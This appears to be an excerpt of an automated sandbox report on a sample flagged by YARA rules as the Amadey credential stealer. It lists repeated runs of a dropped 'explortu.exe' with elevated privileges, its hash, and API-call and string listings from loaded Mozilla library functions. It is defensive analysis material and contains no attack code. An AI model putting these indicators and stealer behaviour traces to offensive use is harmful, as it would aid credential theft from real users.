Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x320000
File size:	1'903'104 bytes
MD5 hash:	CFB92ADDB19E8F0E8ED0B50A6EE59519
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.3332406854.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.3292182479.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:40:00
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x320000
File size:	1'903'104 bytes
MD5 hash:	CFB92ADDB19E8F0E8ED0B50A6EE59519
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.3931226693.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.3890454750.0000000005140000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:41:00
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x320000
File size:	1'903'104 bytes
MD5 hash:	CFB92ADDB19E8F0E8ED0B50A6EE59519
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.4529146618.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.4488473362.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.7%
Total number of Nodes:	115
Total number of Limit Nodes:	13

Executed Functions

Function 6C3135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C39F688,00001000), ref: 6C3135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C3135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C31363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C31369F
__aulldiv.LIBCMT ref: 6C3136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C313773
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C31377E
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C3137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C3137C4
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C3137CB
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C313801
__aulldiv.LIBCMT ref: 6C313883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C313902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C313918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C31394C

Strings

GTC, xrefs: 6C313912
AuthcAMDenti, xrefs: 6C313946
QPC, xrefs: 6C3138FC
MOZ_TIMESTAMP_MODE, xrefs: 6C3135DB
GenuntelineI, xrefs: 6C313639

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 49426de118b76a24b06eeb0989302c9d7a363ff52b42b7aa1387453efebdb592
Instruction ID: 2aaf5fae569a2952df2a07e2fac74259348a16f93213096ed377ee88fec48be3
Opcode Fuzzy Hash: 49426de118b76a24b06eeb0989302c9d7a363ff52b42b7aa1387453efebdb592
Instruction Fuzzy Hash: F8B19072B093109FDB08DF29D84461ABBFDBB8E704F05892DE899D7750E77698048F92

Function 6C32C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C32C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C32C969
GetSystemInfo.KERNEL32(?), ref: 6C32C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C32C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C32C9E2

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: d7f03d33ada937e9df81fac6d7ab4791abbbfb0ca586e4949185e7429c24e563
Instruction ID: 2656a2205649a5ac2918b70948eb16670fd0894ef451d24bda2de03063890913
Opcode Fuzzy Hash: d7f03d33ada937e9df81fac6d7ab4791abbbfb0ca586e4949185e7429c24e563
Instruction Fuzzy Hash: 7B21DA71741214ABEF14AF24EC84BAE73BDFB46704F500119F947A7640EB7698048FA1

Function 6C313060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C313095

Part of subcall function 6C3135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C39F688,00001000), ref: 6C3135D5
Part of subcall function 6C3135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3135E0
Part of subcall function 6C3135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C3135FD
Part of subcall function 6C3135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C31363F
Part of subcall function 6C3135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C31369F
Part of subcall function 6C3135A0: __aulldiv.LIBCMT ref: 6C3136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31309F

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C3130BE

Part of subcall function 6C3130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C313127
Part of subcall function 6C3130F0: __aulldiv.LIBCMT ref: 6C313140

Part of subcall function 6C34AB2A: __onexit.LIBCMT ref: 6C34AB30

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dd24e285ed2d308357d9dcae85d984bd208ee8656f5da5774652c1ead718eab6
Instruction ID: 98f4f99d9669a7fb222ef166e08f328137222c3000eedf7e7e39b6a8e61585ad
Opcode Fuzzy Hash: dd24e285ed2d308357d9dcae85d984bd208ee8656f5da5774652c1ead718eab6
Instruction Fuzzy Hash: 19F0A912D24B4497CB10DF7488411E673B8AF6F114F505719F88567651FB2161E887D6

Function 00F83B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00F83BB7

Memory Dump Source

Source File: 00000000.00000002.2305011823.0000000000F76000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E2C000, based on PE: true

Associated: 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000001005000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000001319000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_tAa6xNsucX.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 34cf5771c9ee1e7dfa78a9b7b9ed919e4c4d42bad80d786e572cc6b9d09836c9
Instruction ID: 5ba46c572025e79f9754ad31f748473f05b5309616a92ab910152d1565e25a5a
Opcode Fuzzy Hash: 34cf5771c9ee1e7dfa78a9b7b9ed919e4c4d42bad80d786e572cc6b9d09836c9
Instruction Fuzzy Hash: C7E0ECB67005089BDB10DE4CD845B9B339DE788750F148011F509D7204C275ED10AB61

Function 00F22E84 Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BF0000, based on PE: true

Associated: 00000000.00000002.2304953428.0000000000BF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000C38000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000E27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000000F76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000001005000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.0000000001319000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2305011823.00000000015BE000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_tAa6xNsucX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ae6c3725cc4a62005101c3285e50c97f10b0571961d45744f2966fdbda42da
Instruction ID: f48154387c33f1dff003127984947ecd4b92e2f34c06b1e784130a7d72be8914
Opcode Fuzzy Hash: 21ae6c3725cc4a62005101c3285e50c97f10b0571961d45744f2966fdbda42da
Instruction Fuzzy Hash: F111DD38700224AFE346DF28E9C4A55B3E7BB8A304F4582B1E808CB3A5DB706C41EB50

Non-executed Functions

Function 6C325440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C325492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3254BE
__Init_thread_footer.LIBCMT ref: 6C3254DB

Part of subcall function 6C34AB3F: EnterCriticalSection.KERNEL32(6C39E370,?,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284), ref: 6C34AB49
Part of subcall function 6C34AB3F: LeaveCriticalSection.KERNEL32(6C39E370,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34AB7C

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

GetCurrentThreadId.KERNEL32 ref: 6C3254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C325516
GetCurrentThreadId.KERNEL32 ref: 6C32556A
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C325577
moz_xmalloc.MOZGLUE(00000070), ref: 6C325585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C325590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C3255E6
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C325606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C325616

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

GetCurrentThreadId.KERNEL32 ref: 6C32563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C325646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C32567C
free.MOZGLUE(?), ref: 6C3256AE

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C3256E8
GetCurrentThreadId.KERNEL32 ref: 6C325707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C32570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C325729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C32574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C32576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C325796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C3257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C3257CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C3257AE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C3257C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C325D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C325766
MOZ_PROFILER_STARTUP, xrefs: 6C3255E1
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C325BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C325D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C325511
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C3256E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C3254B9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C325D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C32584E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C325C56
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C325717
GeckoMain, xrefs: 6C325554, 6C3255D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C3254A3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C325D1C
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C325724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C325B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C325AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C325CF9
[I %d/%d] profiler_init, xrefs: 6C32564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C32548D
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C325749
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C325791

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 8b7719f66ea193bb06fedc24fe98a6b57864c03fd7c143a9b3d39eb900ec0d83
Instruction ID: 4dc6b69ee96e7b30f743a9f6d629efab4060ad3cb026bcc78dd040cec7629acf
Opcode Fuzzy Hash: 8b7719f66ea193bb06fedc24fe98a6b57864c03fd7c143a9b3d39eb900ec0d83
Instruction Fuzzy Hash: 2F2223B5A043009FEF00AF74844866A77B9AF4630CF544529F8869BB45FB3ACA59CF53

Function 6C35B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C35B845
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000), ref: 6C35B852
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35B884
InitializeConditionVariable.KERNEL32(?), ref: 6C35B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C35B9FD
GetCurrentThreadId.KERNEL32 ref: 6C35BA05
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000), ref: 6C35BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C35BA27
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35BA4B
free.MOZGLUE(?), ref: 6C35C9C7
free.MOZGLUE(?), ref: 6C35C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C35C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C35C878

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 524d06390123a9ca0b5dd6a247a7668d138ea6b44f9f6f68deb0ff107ad834e2
Instruction ID: 1b88b25eb5c9a74e5108492b6ace78637ac5591c44f1411ea2587b375124ad95
Opcode Fuzzy Hash: 524d06390123a9ca0b5dd6a247a7668d138ea6b44f9f6f68deb0ff107ad834e2
Instruction Fuzzy Hash: BAA29F71A083808FC725CF28D480B9BB7E9BFC9318F454A2DE89997750EB719915CF82

Function 6C326C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C326CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C326D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C326D26

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C326D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C326D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C326D73
free.MOZGLUE(00000000), ref: 6C326D80
CertGetNameStringW.CRYPT32 ref: 6C326DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C326DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C326DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C326DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C326E10
CryptMsgClose.CRYPT32(00000000), ref: 6C326E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C326E34
CreateFileW.KERNEL32 ref: 6C326EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C326F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C326F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C32709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C327103
free.MOZGLUE(00000000), ref: 6C327153
CloseHandle.KERNEL32(?), ref: 6C327176
__Init_thread_footer.LIBCMT ref: 6C327209
__Init_thread_footer.LIBCMT ref: 6C32723A
__Init_thread_footer.LIBCMT ref: 6C32726B
__Init_thread_footer.LIBCMT ref: 6C32729C
__Init_thread_footer.LIBCMT ref: 6C3272DC
__Init_thread_footer.LIBCMT ref: 6C32730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C3273C2
VerSetConditionMask.NTDLL ref: 6C3273F3
VerSetConditionMask.NTDLL ref: 6C3273FF
VerSetConditionMask.NTDLL ref: 6C327406
VerSetConditionMask.NTDLL ref: 6C32740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C32741A
moz_xmalloc.MOZGLUE(?), ref: 6C32755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C327568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C327585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C327598
free.MOZGLUE(00000000), ref: 6C3275AC

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C3272C8
(, xrefs: 6C32768A
wintrust.dll, xrefs: 6C3272CD
SHA256, xrefs: 6C326EC0

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 4a61f61466a0a4d3ffd4867e7878c3977c8b8918e668116bca99cb2877399b8f
